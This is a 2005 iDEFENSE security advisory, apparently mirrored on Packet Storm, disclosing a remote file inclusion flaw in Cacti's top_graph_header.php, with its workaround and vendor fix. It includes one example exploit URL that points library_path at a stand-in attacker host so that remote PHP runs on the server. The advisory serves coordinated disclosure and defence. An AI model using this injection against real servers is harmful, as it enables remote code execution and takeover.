what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

iDEFENSE Security Advisory 2005-06-22.3

iDEFENSE Security Advisory 2005-06-22.3
Posted Jun 23, 2005
Authored by iDefense Labs | Site idefense.com

iDEFENSE Security Advisory 06.22.05-3 - Cacti contains an input validation error in the top_graph_header.php script that allows an attacker to include arbitrary PHP code from remote sites. This in effect allows arbitrary code execution with the privileges of the web server.

tags | advisory, remote, web, arbitrary, php, code execution
SHA-256 | 76425a9c336f61cb7a418d47c71225952e7fee9c19374f80a5085a8d7d7c43c9

iDEFENSE Security Advisory 2005-06-22.3

Change Mirror Download
Multiple Vendor Cacti Remote File Inclusion Vulnerability

iDEFENSE Security Advisory 06.22.05
www.idefense.com/application/poi/display?id=265&type=vulnerabilities
June 22, 2005

I. BACKGROUND

Cacti is a round-robin database (RRD) tool that helps create graphs from

database information and is available on multiple Linux distributions.

II. DESCRIPTION

Cacti contains an input validation error in the top_graph_header.php
script that allows an attacker to include arbitrary PHP code from remote

sites. This in effect allows arbitrary code execution with the
privileges of the web server. The vulnerability specifically exists due
to the script trusting a user supplied library_path variable. The
following example demonstrates how this might be exploited:

http://example.com/path_of_cacti/include/top_graph_header.php?config[lib
rary_path]=http://attackersite.com/

In this way, the files "http://attackersite.com/include/html_tree.php"
and "http://attackersite.com/include/rrd.php" will be included and
executed on the vulnerable server.

III. ANALYSIS

Successful exploitation of this vulnerability allows a remote attacker
to gain shell access with the privileges of the web server. An attacker
can then attempt to escalate privileges using local exploits, possibly
allowing a full root compromise.

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability on Cacti
0.8.6d. Earlier versions are suspected vulnerable. The following vendors

include susceptible Cacti packages within their respective operating
system distributions:

The FreeBSD Project
Gentoo Foundation
Novell Inc. (SuSE)

Debian also includes a package for Cacti, however, it is an older,
unaffected version.

V. WORKAROUND

Require authentication to access the Cacti installation. Restrict access

to web servers using Cacti to only trusted hosts.

VI. VENDOR RESPONSE

Cacti 0.8.6e has been released to address this vulnerability and is
available for download at:

http://www.cacti.net/downloads/cacti-0.8.6e.tar.gz
or
http://www.cacti.net/downloads/cacti-0.8.6e.zip

Release notes for Cacti 0.8.6e can be found at:

http://www.cacti.net/release_notes_0_8_6e.php

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-1524 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

05/12/2005 Initial vendor notification
05/12/2005 Initial vendor response
06/22/2005 Coordinated public disclosure

IX. CREDIT

Maciej Piotr Falkiewicz and an anonymous researcher are credited with
this discovery.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

Free tools, research and upcoming events
http://labs.idefense.com

X. LEGAL NOTICES

Copyright (c) 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close